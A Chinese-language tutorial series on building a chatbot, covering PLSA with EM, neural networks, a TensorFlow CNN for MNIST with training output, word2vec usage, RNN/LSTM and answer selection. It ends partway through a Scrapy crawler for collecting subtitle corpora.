下面我们采取EM算法,EM算法的精髓就是按照最大似然的原理,先随便拍一个分布参数,让每个人都根据分布归类到某一部分,然后根据这些归类来重新统计数目,按照最大似然估计分布参数,然后再重新归类、调参、估计、归类、调参、估计,最终得出最优解

那么我们要把每一个训练数据做归类,即p(z|d,w),那么这个概率值怎么计算呢?

我们先拍一个p(z)、p(d|z)、p(w|z)

然后根据

p(z|d,w)=p(z)p(d|z)p(w|z)/∑p(z)p(d|z)p(w|z),其中分子是一个z,分母是所有的z的和

这样计算出来的值是p(z|d,w)的最大似然估计的概率估计(这是E过程)

然后根据这个估计来对每一个训练样本做归类

根据归类好的数据统计出n(d,w)

然后我再根据以下公式来更新参数

p(z) = 1/R ∑n(d,w)p(z|d,w)

p(d|z)=∑n(d,w)p(z|d,w) / ∑n(d,w)p(z|d,w),其中分子是一个d的和,分母是所有的d的和,这样计算出来的值是p(d|z)的最大似然估计

p(w|z)=∑n(d,w)p(z|d,w) / ∑n(d,w)p(z|d,w),其中分子是一个w的和,分母是所有的w的和,这样计算出来的值是p(w|z)的最大似然估计

最后重新计算p(z|d,w):

p(z|d,w)=p(z)p(d|z)p(w|z)/∑p(z)p(d|z)p(w|z)

这是M的过程

不断重复上面EM的过程使得对数似然函数最大:

L=∑∑n(d, w) log P(d, w)

通过以上迭代就能得出最终的p(w, d),即词与文档之间的相关度,后面就是利用相关度做检索的过程了

为了得到词词之间的相关度,我们用p(w, d)乘以它的转置,即

p(w,w) = p(w,d)×trans(p(w,d))

当用户查询query的关键词构成词向量Wq, 而文档d表示成词向量Wd,那么query和文档d的相关度就是:

R(query, d) = Wq×p(w,w)×Wd

这样把所有文档算出来的相关度从大到小排序就是搜索的排序结果

总结

综上就是隐含语义索引模型的内容,相比TF-IDF来说它加进了语义方面的信息、考虑了词与词之间的关系,是根据语义做信息检索的方法,更适合于研发聊天机器人做语料训练和分析,而TF-IDF更适合于完全基于独立的词的信息检索,更适合于纯文本搜索引擎

神奇算法之人工神经网络

深度学习是机器学习中较为流行的一种,而深度学习的基础是人工神经网络,那么人工神经网络的功能是不是像它的名字一样神奇呢?答案是肯定的,让我们一起见证一下这一神奇算法

人工神经网络

人工神经网络是借鉴了生物神经网络的工作原理形成的一种数学模型,有关人工神经网络的原理、公式推导以及训练过程请见我的文章《机器学习教程 十二-神经网络模型的原理》

神奇用法之一

我们这样来设计我们的神经网络:由n个输入特征得出与输入特征几乎相同的n个结果,这样训练出的隐藏层可以得到意想不到的信息。

比如,在信息检索领域,我们需要通过模型训练来得出合理的排序模型,那么输入的特征可能有:文档质量、文档点击历史、文档前链数目、文档锚文本信息……,为了能找出这些特征中隐藏的信息,我们把隐藏层的神经元数目设置的少于输入特征的数目,经过大量样本的训练出能还原原始特征的模型,这样相当于我们用少于输入特征数目的信息还原出了全部特征,表面上是一种压缩,实际上通过这种方式就可以发现某些特征之间存在隐含的相关性,或者有某种特殊的关系。

同样的,我们还可以让隐藏层中的神经元数目多余输入特征的数目,这样经过训练得出的模型还可以展示出特征之间某种细节上的关联,比如我们对图像识别做这样的模型训练,在得出的隐藏层中能展示出多种特征之间的细节信息,如鼻子一定在嘴和眼睛中间。

这种让输出和输入一致的用法就是传说中的自编码算法。

神奇用法之二

人工神经网络模型通过多层神经元结构建立而成,每一层可以抽象为一种思维过程,经过多层思考,最终得出结论。举一个实际的例子:识别美女图片

按照人的思维过程,识别美女图片要经过这样的判断:1)图片类别(人物、风景……);2)图片人物性别(男、女、其他……);3)相貌如何(美女、恐龙、5分……)

那么在人工神经网络中,这个思考过程可以抽象成多个层次的计算:第一层计算提取图片中有关类别的特征,比如是否有形如耳鼻口手的元素,是否有形如蓝天白云绿草地的元素;第二层提取是否有胡须、胸部、长发以及面部特征等来判断性别;第三层提取五官、肤质、衣着等信息来确定颜值。为了让神经网络每一层有每一层专门要做的事情,需要在每一层的神经元中添加特殊的约束条件才能做到。人类的大脑是经过上亿年进化而成的,它的功能深不可及,某些效率也极高,而计算机在某些方面效率比人脑要高很多,两种结合起来一切皆有可能。

这种通过很多层提取特定特征来做机器学习的方法就是传说中的深度学习。

神奇用法之三

讲述第三种用法之前我们先讲一下什么是卷积运算。卷积英文是convolution(英文含义是:盘绕、弯曲、错综复杂),数学表达是:

数学上不好理解,我们可以通俗点来讲:卷积就相当于在一定范围内做平移并求平均值。比如说回声可以理解为原始声音的卷积结果,因为回声是原始声音经过很多物体反射回来声音揉在一起。再比如说回声可以理解为把信号分解成无穷多的冲击信号,然后再进行冲击响应的叠加。再比如说把一张图像做卷积运算,并把计算结果替换原来的像素点,可以实现一种特殊的模糊,这种模糊其实是一种新的特征提取,提取的特征就是图像的纹路。总之卷积就是先打乱,再叠加。

下面我们在看上面的积分公式,需要注意的是这里是对τ积分,不是对x积分。也就是说对于固定的x,找到x附近的所有变量,求两个函数的乘积,并求和。

下面回归正题,在神经网络里面,我们设计每个神经元计算输出的公式是卷积公式,这样相当于神经网络的每一层都会输出一种更高级的特征,比如说形状、脸部轮廓等。这种神经网络叫做卷积神经网络。

继续深入主题,在自然语言中,我们知道较近的上下文词语之间存在一定的相关性,由于标点、特殊词等的分隔使得在传统自然语言处理中会脱离词与词之间的关联,结果丢失了一部分重要信息,利用卷积神经网络完全可以做多元(n-gram)的计算,不会损失自然语言中的临近词的相关性信息。这种方法对于语义分析、语义聚类等都有非常好的效果。

这种神奇用法就是传说中的CNN

总结

神经网络因为其层次和扩展性的强大,有着非常多的神奇用法和非常广泛的应用,因为希望聊天机器人能够具有智能,就不得不寻找能够承载智能的方法,神经网络是其中一个,沿着这个网络,让我们继续探索。

用CNN做深度学习

自动问答系统中深度学习的应用较多是RNN,这归因于它天然利用时序建模。俗话说知己知彼百战不殆,为了理解RNN,我们先来了解一下CNN,通过手写数字识别案例来感受一下CNN最擅长的局部感知能力

卷积神经网络(CNN)

卷积神经网络(Convolutional Neural Network,CNN)是将二维离散卷积运算和人工神经网络相结合的一种深度神经网络。它的特点是可以自动提取特征。有关卷积神经网络的数学原理和训练过程请见我的另一篇文章《机器学习教程 十五-细解卷积神经网络》。

手写数字识别

为了试验,我们直接采用http://yann.lecun.com/exdb/mnist/中的手写数据集,下载到的手写数据集数据文件是用二进制以像素为单位保存的几万张图片文件,通过我的github项目https://github.com/warmheartli/ChatBotCourse中的read_images.c把图片打印出来是像下面这样的输出:

具体文件格式和打印方式请见我的另一篇基于简单的softmax模型的机器学习算法文章《机器学习教程 十四-利用tensorflow做手写数字识别》中的讲解

多层卷积网络设计

为了对mnist手写数据集做训练,我们设计这样的多层卷积网络:

第一层由一个卷积和一个max pooling完成,其中卷积运算的“视野”是5×5的像素范围,卷积使用1步长、0边距的模板(保证输入输出是同一个大小),1个输入通道(因为图片是灰度的,单色),32个输出通道(也就是设计32个特征)。由于我们通过上面read_images.c的打印可以看到每张图片都是28×28像素,那么第一次卷积输出也是28×28大小。max pooling采用2×2大小的模板,那么池化后输出的尺寸就是14×14,因为一共有32个通道,所以一张图片的输出一共是14×14×32=6272像素

第二层同样由一个卷积和一个max pooling完成,和第一层不同的是输入通道有32个(对应第一层的32个特征),输出通道我们设计64个(即输出64个特征),因为这一层的输入是每张大小14×14,所以这一个卷积层输出也是14×14,再经过这一层max pooling,输出大小就是7×7,那么一共输出像素就是7×7×64=3136

第三层是一个密集连接层,我们设计一个有1024个神经元的全连接层,这样就相当于第二层输出的7×7×64个值都作为这1024个神经元的输入

为了让算法更“智能”,我们把这些神经元的激活函数设计为ReLu函数,即如下图像中的蓝色(其中绿色是它的平滑版g(x)=log(1+e^x)):

最终的输出层,我们以第三层的1024个输出为输入,设计一个softmax层,输出10个概率值

tensorflow代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# coding:utf-8
importsys
reload(sys)
sys.setdefaultencoding("utf-8")
fromtensorflow.examples.tutorials.mnistimportinput_data
importtensorflowastf
flags = tf.app.flags
FLAGS = flags.FLAGS
flags.DEFINE_string('data_dir','./','Directory for storing data')
mnist = input_data.read_data_sets(FLAGS.data_dir, one_hot=True)
# 初始化生成随机的权重(变量),避免神经元输出恒为0
defweight_variable(shape):
# 以正态分布生成随机值
initial = tf.truncated_normal(shape, stddev=0.1)
returntf.Variable(initial)
# 初始化生成随机的偏置项(常量),避免神经元输出恒为0
defbias_variable(shape):
initial = tf.constant(0.1, shape=shape)
returntf.Variable(initial)
# 卷积采用1步长,0边距,保证输入输出大小相同
defconv2d(x, W):
returntf.nn.conv2d(x, W, strides=[1,1,1,1], padding='SAME')
# 池化采用2×2模板
defmax_pool_2x2(x):
returntf.nn.max_pool(x, ksize=[1,2,2,1],
strides=[1,2,2,1], padding='SAME')
# 28*28=784
x = tf.placeholder(tf.float32, [None,784])
# 输出类别共10个:0-9
y_ = tf.placeholder("float", [None,10])
# 第一层卷积权重,视野是5*5,输入通道1个,输出通道32个
W_conv1 = weight_variable([5,5,1,32])
# 第一层卷积偏置项有32个
b_conv1 = bias_variable([32])
# 把x变成4d向量,第二维和第三维是图像尺寸,第四维是颜色通道数1
x_image = tf.reshape(x, [-1,28,28,1])
h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1)
h_pool1 = max_pool_2x2(h_conv1)
# 第二层卷积权重,视野是5*5,输入通道32个,输出通道64个
W_conv2 = weight_variable([5,5,32,64])
# 第二层卷积偏置项有64个
b_conv2 = bias_variable([64])
h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)
h_pool2 = max_pool_2x2(h_conv2)
# 第二层池化后尺寸编程7*7,第三层是全连接,输入是64个通道,输出是1024个神经元
W_fc1 = weight_variable([7*7*64,1024])
# 第三层全连接偏置项有1024个
b_fc1 = bias_variable([1024])
h_pool2_flat = tf.reshape(h_pool2, [-1,7*7*64])
h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)
# 按float做dropout,以减少过拟合
keep_prob = tf.placeholder("float")
h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)
# 最后的softmax层生成10种分类
W_fc2 = weight_variable([1024,10])
b_fc2 = bias_variable([10])
y_conv=tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2)
cross_entropy = -tf.reduce_sum(y_*tf.log(y_conv))
# Adam优化器来做梯度最速下降
train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)
correct_prediction = tf.equal(tf.argmax(y_conv,1), tf.argmax(y_,1))
accuracy = tf.reduce_mean(tf.cast(correct_prediction,"float"))
sess = tf.InteractiveSession()
sess.run(tf.initialize_all_variables())
foriinrange(20000):
batch = mnist.train.next_batch(50)
ifi%100==0:
train_accuracy = accuracy.eval(feed_dict={
x:batch[0], y_: batch[1], keep_prob:1.0})
print"step %d, training accuracy %g"%(i, train_accuracy)
train_step.run(feed_dict={x: batch[0], y_: batch[1], keep_prob:0.5})
print"test accuracy %g"%accuracy.eval(feed_dict={
x: mnist.test.images, y_: mnist.test.labels, keep_prob:1.0})

输出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[root@centos $] python digital_recognition_cnn.py
Extracting ./train-images-idx3-ubyte.gz
Extracting ./train-labels-idx1-ubyte.gz
Extracting ./t10k-images-idx3-ubyte.gz
Extracting ./t10k-labels-idx1-ubyte.gz
step 0, training accuracy 0.14
step 100, training accuracy 0.86
step 200, training accuracy 0.9
step 300, training accuracy 0.86
step 400, training accuracy 1
step 500, training accuracy 0.92
step 600, training accuracy 1
step 700, training accuracy 0.96
step 800, training accuracy 0.88
step 900, training accuracy 1
step 1000, training accuracy 0.96
step 1100, training accuracy 0.98
step 1200, training accuracy 0.94
step 1300, training accuracy 0.92
step 1400, training accuracy 0.98
……

最终准确率大概能达到99.2%

将深度学习应用到NLP

由于语言相比于语音、图像来说,是一种更高层的抽象,因此不是那么适合于深度学习,但是经过人类不断探索,也发现无论多么高层的抽象总是能通过更多底层基础的累积而碰触的到,本文介绍如何将深度学习应用到NLP所必须的底层基础

词向量

自然语言需要数学化才能够被计算机认识和计算。数学化的方法有很多,最简单的方法是为每个词分配一个编号,这种方法已经有多种应用,但是依然存在一个缺点:不能表示词与词的关系。

词向量是这样的一种向量[0.1, -3.31, 83.37, 93.0, -18.37, ……],每一个词对应一个向量,词义相近的词,他们的词向量距离也会越近(欧氏距离、夹角余弦)

词向量有一个优点,就是维度一般较低,一般是50维或100维,这样可以避免维度灾难,也更容易使用深度学习

词向量如何训练得出呢?

首先要了解一下语言模型,语言模型相关的内容请见我另外一篇文章《自己动手做聊天机器人 十三-把语言模型探究到底》。语言模型表达的实际就是已知前n-1个词的前提下,预测第n个词的概率。

词向量的训练是一种无监督学习,也就是没有标注数据,给我n篇文章,我就可以训练出词向量。

基于三层神经网络构建n-gram语言模型(词向量顺带着就算出来了)的基本思路:

最下面的w是词,其上面的C(w)是词向量,词向量一层也就是神经网络的输入层(第一层),这个输入层是一个(n-1)×m的矩阵,其中n-1是词向量数目,m是词向量维度

第二层(隐藏层)是就是普通的神经网络,以H为权重,以tanh为激活函数

第三层(输出层)有|V|个节点,|V|就是词表的大小,输出以U为权重,以softmax作为激活函数以实现归一化,最终就是输出可能是某个词的概率。

另外,神经网络中有一个技巧就是增加一个从输入层到输出层的直连边(线性变换),这样可以提升模型效果,这个变换矩阵设为W

假设C(w)就是输入的x,那么y的计算公式就是y = b + Wx + Utanh(d+Hx)

这个模型里面需要训练的有这么几个变量:C、H、U、W。利用梯度下降法训练之后得出的C就是生成词向量所用的矩阵,C(w)表示的就是我们需要的词向量

上面是讲解词向量如何“顺带”训练出来的,然而真正有用的地方在于这个词向量如何进一步应用。

词向量的应用

第一种应用是找同义词。具体应用案例就是google的word2vec工具,通过训练好的词向量,指定一个词,可以返回和它cos距离最相近的词并排序。

第二种应用是词性标注和语义角色标注任务。具体使用方法是:把词向量作为神经网络的输入层,通过前馈网络和卷积网络完成。

第三种应用是句法分析和情感分析任务。具体使用方法是:把词向量作为递归神经网络的输入。

第四种应用是命名实体识别和短语识别。具体使用方法是:把词向量作为扩展特征使用。

另外词向量有一个非常特别的现象:C(king)-C(queue)≈C(man)-C(woman),这里的减法就是向量逐维相减,换个表达方式就是:C(king)-C(man)+C(woman)和它最相近的向量就是C(queue),这里面的原理其实就是:语义空间中的线性关系。基于这个结论相信会有更多奇妙的功能出现。

google的文本挖掘深度学习工具word2vec的实现原理

词向量是将深度学习应用到NLP的根基,word2vec是如今使用最广泛最简单有效的词向量训练工具,那么它的实现原理是怎样的呢?本文将从原理出发来介绍word2vec

你是如何记住一款车的

问你这样一个问题:如果你大脑有很多记忆单元,让你记住一款白色奥迪Q7运动型轿车,你会用几个记忆单元?你也许会用一个记忆单元,因为这样最节省你的大脑。那么我们再让你记住一款小型灰色雷克萨斯,你会怎么办?显然你会用另外一个记忆单元来记住它。那么如果让你记住所有的车,你要耗费的记忆单元就不再是那么少了,这种表示方法叫做localist representation。这时你可能会换另外一种思路:我们用几个记忆单元来分别识别大小、颜色、品牌等基础信息,这样通过这几个记忆单元的输出,我们就可以表示出所有的车型了。这种表示方法叫做distributed representation,词向量就是一种用distributed representation表示的向量

localist representation与distributed representation

localist representation中文释义是稀疏表达,典型的案例就是one hot vector,也就是这样的一种向量表示:

[1, 0, 0, 0, 0, 0……]表示成年男子

[0, 1, 0, 0, 0, 0……]表示成年女子

[0, 0, 1, 0, 0, 0……]表示老爷爷

[0, 0, 0, 1, 0, 0……]表示老奶奶

[0, 0, 0, 0, 1, 0……]表示男婴

[0, 0, 0, 0, 0, 1……]表示女婴

……

每一类型用向量中的一维来表示

而distributed representation中文释义是分布式表达,上面的表达方式可以改成:

性别 老年 成年 婴儿

[1, 0, 1, 0]表示成年男子

[0, 0, 1, 0]表示成年女子

[1, 1, 0, 0]表示老爷爷

[0, 1, 0, 0]表示老奶奶

[1, 0, 0, 1]表示男婴

[0, 0, 0, 1]表示女婴

如果我们想表达男童和女童,只需要增加一个特征维度即可

word embedding

翻译成中文叫做词嵌入,这里的embedding来源于范畴论,在范畴论中称为morphism(态射),态射表示两个数学结构中保持结构的一种过程抽象,比如“函数”、“映射”,他们都是表示一个域和另一个域之间的某种关系。

范畴论中的嵌入(态射)是要保持结构的,而word embedding表示的是一种“降维”的嵌入,通过降维避免维度灾难,降低计算复杂度,从而更易于在深度学习中应用。

理解了distributed representation和word embedding的概念,我们就初步了解了word2vec的本质,它其实是通过distributed representation的表达方式来表示词,而且通过降维的word embedding来减少计算量的一种方法

word2vec中的神经网络

word2vec中做训练主要使用的是神经概率语言模型,这需要掌握一些基础知识,否则下面的内容比较难理解,关于神经网络训练词向量的基础知识我在《自己动手做聊天机器人 二十四-将深度学习应用到NLP》中有讲解,可以参考,这里不再赘述。

在word2vec中使用的最重要的两个模型是CBOW和Skip-gram模型,下面我们分别来介绍这两种模型

CBOW模型

CBOW全称是Continuous Bag-of-Words Model,是在已知当前词的上下文的前提下预测当前词

CBOW模型的神经网络结构设计如下:

输入层:词w的上下文一共2c个词的词向量

投影层:将输入层的2c个向量做求和累加

输出层:一个霍夫曼树,其中叶子节点是语料中出现过的词,权重是出现的次数

我们发现这一设计相比《自己动手做聊天机器人 二十四-将深度学习应用到NLP》中讲到的神经网络模型把首尾相接改成了求和累加,这样减少了维度;去掉了隐藏层,这样减少了计算量;输出层由softmax归一化运算改成了霍夫曼树;这一系列修改对训练的性能有很大提升,而效果不减,这是独到之处。

基于霍夫曼树的Hierarchical Softmax技术

上面的CBOW输出层为什么要建成一个霍夫曼树呢?因为我们是要基于训练语料得到每一个可能的w的概率。那么具体怎么得到呢?我们先来看一下这个霍夫曼树的例子:

在这个霍夫曼树中,我们以词足球为例,走过的路径图上容易看到,其中非根节点上的θ表示待训练的参数向量,也就是要达到这种效果:当在投射层产出了一个新的向量x,那么我通过逻辑回归公式:

σ(xTθ) = 1/(1+e^(-xTθ))

就可以得出在每一层被分到左节点(1)还是右节点(0)的概率分别是

p(d|x,θ) = 1-σ(xTθ)

p(d|x,θ) = σ(xTθ)

那么就有:

p(足球|Context(足球)) = ∏ p(d|x,θ)

现在模型已经有了,下面就是通过语料来训练v(Context(w))、x和θ的过程了

我们以对数似然函数为优化目标,盗取一个网上的推导公式:

假设两个求和符号里面的部分记作L(w, j),那么有

于是θ的更新公式:

同理得出x的梯度公式:

因为x是多个v的累加,word2vec中v的更新方法是:

想想机器学习真是伟大,整个模型从上到下全是未知数,竟然能算出来我真是服了

Skip-gram模型

Skip-gram全称是Continuous Skip-gram Model,是在已知当前词的情况下预测上下文

Skip-gram模型的神经网络结构设计如下:

输入层:w的词向量v(w)

投影层:依然是v(w),就是一个形式

输出层:和CBOW一样的霍夫曼树

后面的推导公式和CBOW大同小异,其中θ和v(w)的更新公式除了把符号名从x改成了v(w)之外完全一样,如下:

体验真实的word2vec

首先我们从网上下载一个源码,因为google官方的svn库已经不在了,所以只能从csdn下了,但是因为还要花积分才能下载,所以我干脆分享到了我的git上(https://github.com/warmheartli/ChatBotCourse/tree/master/word2vec),大家可以直接下载

下载下来后直接执行make编译(如果是mac系统要把代码里所有的#include替换成#include)

编译后生成word2vec、word2phrase、word-analogy、distance、compute-accuracy几个二进制文件

我们先用word2vec来训练

首先我们要有训练语料,其实就是已经切好词(空格分隔)的文本,比如我们已经有了这个文本文件叫做train.txt,内容是”人工 智能 一直 以来 是 人类 的 梦想 造 一台 可以 为 你 做 一切 事情 并且 有 情感 的 机器 人”并且重复100遍

执行

1
./word2vec -train train.txt -output vectors.bin -cbow 0 -size 200 -window 5 -negative 0 -hs 1 -sample 1e-3 -thread 12 -binary 1

会生成一个vectors.bin文件,这个就是训练好的词向量的二进制文件,利用这个文件我们可以求近义词了,执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
./distance vectors.bin
Enter word or sentence (EXIT to break): 人类
Word: 人类 Position in vocabulary: 6
Word Cosine distance
------------------------------------------------------------------------
可以 0.094685
为 0.091899
人工 0.088387
机器 0.076216
智能 0.073093
情感 0.071088
做 0.059367
一直 0.056979
以来 0.049426
一切 0.042201
</s> 0.025968
事情 0.014169
的 0.003633
是 -0.012021
有 -0.014790
一台 -0.021398
造 -0.031242
人 -0.043759
你 -0.072834
梦想 -0.086062
并且 -0.122795
……

如果你有很丰富的语料,那么结果会很漂亮

图解递归神经网络(RNN)

聊天机器人是需要智能的,而如果他记不住任何信息,就谈不上智能,递归神经网络是一种可以存储记忆的神经网络,LSTM是递归神经网络的一种,在NLP领域应用效果不错,本节我们来介绍RNN和LSTM

递归神经网络

递归神经网络(RNN)是两种人工神经网络的总称。一种是时间递归神经网络(recurrent neural network),另一种是结构递归神经网络(recursive neural network)。时间递归神经网络的神经元间连接构成有向图,而结构递归神经网络利用相似的神经网络结构递归构造更为复杂的深度网络。两者训练的算法不同,但属于同一算法变体(百度百科)。本节我们重点介绍时间递归神经网络,下面提到RNN特指时间递归神经网络。

时间递归神经网络

传统的神经网络叫做FNN(Feed-Forward Neural Networks),也就是前向反馈神经网络,有关传统神经网络的介绍请见《机器学习教程 十二-神经网络模型的原理》,RNN是在此基础上引入了定向循环,也就是已神经元为节点组成的图中存在有向的环,这种神经网络可以表达某些前后关联关系,事实上,真正的生物神经元之间也是存在这种环形信息传播的,RNN也是神经网络向真实生物神经网络靠近的一个进步。一个典型的RNN是这样的:

图中隐藏层中的节点之间构成了全连接,也就是一个隐藏层节点的输出可以作为另一个隐藏层节点甚至它自己的输入

这种结构可以抽象成:

其中U、V、W都是变换概率矩阵,x是输入,o是输出

比较容易看出RNN的关键是隐藏层,因为隐藏层能够捕捉到序列的信息,也就是一种记忆的能力

在RNN中U、V、W的参数都是共享的,也就是只需要关注每一步都在做相同的事情,只是输入不同,这样来降低参数个数和计算量

RNN在NLP中的应用比较多,因为语言模型就是在已知已经出现的词的情况下预测下一个词的概率的,这正是一个有时序的模型,下一个词的出现取决于前几个词,刚好对应着RNN中隐藏层之间的内部连接

RNN的训练方法

RNN的训练方法和传统神经网络一样,都是使用BP误差反向传播算法来更新和训练参数。

因为从输入到最终的输出中间经过了几步是不确定的,因此为了计算方便,我们利用时序的方式来做前向计算,我们假设x表示输入值,s表示输入x经过U矩阵变换后的值,h表示隐藏层的激活值,o表示输出层的值, f表示隐藏层的激活函数,g表示输出层的激活函数:

当t=0时,输入为x0, 隐藏层为h0

当t=1时,输入为x1, s1 = Ux1+Wh0, h1 = f(s1), o1 = g(Vh1)

当t=2时,s2 = Ux2+Wh1, h2 = f(s2), o2 = g(Vh2)

以此类推,st = Uxt + Wh(t-1), ht = f(st), ot = g(Vht)

这里面h=f(现有的输入+过去记忆总结)是对RNN的记忆能力的全然体现

通过这样的前向推导,我们是不是可以对RNN的结构做一个展开,成如下的样子:

这样从时序上来看更直观明了

下面就是反向修正参数的过程了,每一步输出o和实际的o值总会有误差,和传统神经网络反向更新的方法一样,用误差来反向推导,利用链式求导求出每层的梯度,从而更新参数,反向推导过程中我们还是把神经网络结构看成展开后的样子:

根据链式求导法则,得出隐藏层的残差计算公式为:

因此W和U的梯度就是:

LSTM(Long Short Tem Momery networks)

特别讲解一下LSTM是因为LSTM是一种特别的RNN,它是RNN能得到成功应用的关键,当下非常流行。RNN存在一个长序列依赖(Long-Term Dependencies)的问题:下一个词的出现概率和非常久远的之前的词有关,但考虑到计算量的问题,我们会对依赖的长度做限制,LSTM很好的解决了这个问题,因为它专门为此而设计。

借用http://colah.github.io/posts/2015-08-Understanding-LSTMs/中经典的几张图来说明下,第一张图是传统RNN的另一种形式的示意图,它只包含一个隐藏层,以tanh为激发函数,这里面的“记忆”体现在t的滑动窗口上,也就是有多少个t就有多少记忆,如下图

那么我们看LSTM的设计,如下,这里面有一些符号,其中黄色方框是神经网络层(意味着有权重系数和激活函数,σ表示sigmoid激活函数,tanh表示tanh激活函数),粉红圆圈表示矩阵运算(矩阵乘或矩阵加)

这里需要分部分来说,下面这部分是一个历史信息的传递和记忆,其中粉红×是就像一个能调大小的阀门(乘以一个0到1之间的系数),下面的第一个sigmoid层计算输出0到1之间的系数,作用到粉红×门上,这个操作表达上一阶段传递过来的记忆保留多少,忘掉多少

其中的sigmoid公式如下:

可以看出忘掉记忆多少取决于上一隐藏层的输出h{t-1}和本层的输入x{t}

下面这部分是由上一层的输出h{t-1}和本层的输入x{t}得出的新信息,存到记忆中:

其中包括计算输出值Ct部分的tanh神经元和计算比例系数的sigmoid神经元(这里面既存在sigmoid又存在tanh原因在于sigmoid取值范围是[0,1]天然作为比例系数,而tanh取值范围是[-1,1]可以作为一个输出值)。其中i{t}和Ct计算公式如下:

那么Ct输出就是:

下面部分是隐藏层输出h的计算部分,它考虑了当前拥有的全部信息(上一时序隐藏层的输出、本层的输入x和当前整体的记忆信息),其中本单元状态部分C通过tanh激活并做一个过滤(上一时序输出值和当前输入值通过sigmoid激活后的系数)

计算公式如下:

LSTM非常适合在NLP领域应用,比如一句话出现的词可以认为是不同时序的输入x,而在某一时间t出现词A的概率可以通过LSTM计算,因为词A出现的概率是取决于前面出现过的词的,但取决于前面多少个词是不确定的,这正是LSTM所做的存储着记忆信息C,使得能够得出较接近的概率。

总结

RNN就是这样一种神经网络,它让隐藏层自身之间存在有向环,从而更接近生物神经网络,也具有了存储记忆的能力,而LSTM作为RNN中更有实用价值的一种,通过它特殊的结构设计实现了永久记忆留存,更适合于NLP,这也为将深度学习应用到自然语言处理开了先河,有记忆是给聊天机器人赋予智能的前提,这也为我们的聊天机器人奠定了实践基础。

用深度学习来做自动问答的一般方法

聊天机器人本质上是一个范问答系统,既然是问答系统就离不开候选答案的选择,利用深度学习的方法可以帮助我们找到最佳的答案,本节我们来讲述一下用深度学习来做自动问答的一般方法

语料库的获取方法

对于一个范问答系统,一般我们从互联网上收集语料信息,比如百度、谷歌等,用这些结果构建问答对组成的语料库。然后把这些语料库分成多个部分:训练集、开发集、测试集

问答系统训练其实是训练一个怎么在一堆答案里找到一个正确答案的模型,那么为了让样本更有效,在训练过程中我们不把所有答案都放到一个向量空间中,而是对他们做个分组,首先,我们在语料库里采集样本,收集每一个问题对应的500个答案集合,其中这500个里面有正向的样本,也会随机选一些负向样本放里面,这样就能突出这个正向样本的作用了

基于CNN的系统设计

CNN的三个优点:sparse interaction(稀疏的交互),parameter sharing(参数共享),equivalent respresentation(等价表示)。正是由于这三方面的优点,才更适合于自动问答系统中的答案选择模型的训练。

我们设计卷积公式表示如下(不了解卷积的含义请见《机器学习教程 十五-细解卷积神经网络》):

假设每个词用三维向量表示,左边是4个词,右边是卷积矩阵,那么得到输出为:

如果基于这个结果做1-MaxPool池化,那么就取o中的最大值

通用的训练方法

训练时获取问题的词向量Vq(这里面词向量可以使用google的word2vec来训练,有关word2vec的内容可以看《自己动手做聊天机器人 二十五-google的文本挖掘深度学习工具word2vec的实现原理》),和一个正向答案的词向量Va+,和一个负向答案的词向量Va-, 然后比较问题和这两个答案的相似度,两个相似度的差值如果大于一个阈值m就用来更新模型参数,然后继续在候选池里选答案,小于m就不更新模型,即优化函数为:

参数更新方式和其他卷积神经网络方式相同,都是梯度下降、链式求导

对于测试数据,计算问题和候选答案的cos距离,相似度最大的那个就是正确答案的预测

神经网络结构设计

以下是六种结构设计,解释一下,其中HL表示hide layer隐藏层,它的激活函数设计成z = tanh(Wx+B),CNN是卷积层,P是池化层,池化步长为1,T是tanh层,P+T的输出是向量表示,最终的输出是两个向量的cos相似度

图中HL或CNN连起来的表示他们共享相同的权重。CNN的输出是几维的取决于做多少个卷积特征,如果有4个卷积,那么结果就是4*3的矩阵(这里面的3在下一步被池化后就变成1维了)

以上结构的效果在论文《Applying Deep Learning To Answer Selection- A Study And An Open Task》中有详细说明,这里不赘述

总结

要把深度学习运用到聊天机器人中,关键在于以下几点:

  1. 对几种神经网络结构的选择、组合、优化

  2. 因为是有关自然语言处理,所以少不了能让机器识别的词向量

  3. 当涉及到相似或匹配关系时要考虑相似度计算,典型的方法是cos距离

  4. 如果需求涉及到文本序列的全局信息就用CNN或LSTM

  5. 当精度不高时可以加层

  6. 当计算量过大时别忘了参数共享和池化

脑洞大开:基于美剧字幕的聊天语料库建设方案

要让聊天机器人进行学习,需要海量的聊天语料库,但是网上的语料库基本上都是有各种标注的文章,并没有可用的对话语料,虽然有一些社区的帖子数据,但是既要花大把银子还不知道质量如何。笔者突然灵机一动,找到一个妙招能获取海量高质聊天语料,这下聊天机器人再也不愁语料数据了。

美剧字幕

是的,你没有看错,我就是这样获取海量高质聊天语料的。外文电影或电视剧的字幕文件是一个天然的聊天语料,尤其是对话比较多的美剧最佳。为了能下载大量美剧字幕,我打算抓取字幕库网站www.zimuku.net,当然你也可以选择其他网站抓取。

自动抓取字幕

有关爬虫相关内容请见我的另一篇文章《教你成为全栈工程师(Full Stack Developer) 三十-十分钟掌握最强大的python爬虫》。在这里我直接贴上我的抓取器重要代码(代码共享在了https://github.com/warmheartli/ChatBotCourse):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# coding:utf-8
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )
import scrapy
from w3lib.html import remove_tags
from subtitle_crawler.items import SubtitleCrawlerItem
class SubTitleSpider(scrapy.Spider):
name = "subtitle"
allowed_domains = ["zimuku.net"]
start_urls = [
"http://www.zimuku.net/search?q=&t=onlyst&ad=1&p=20",
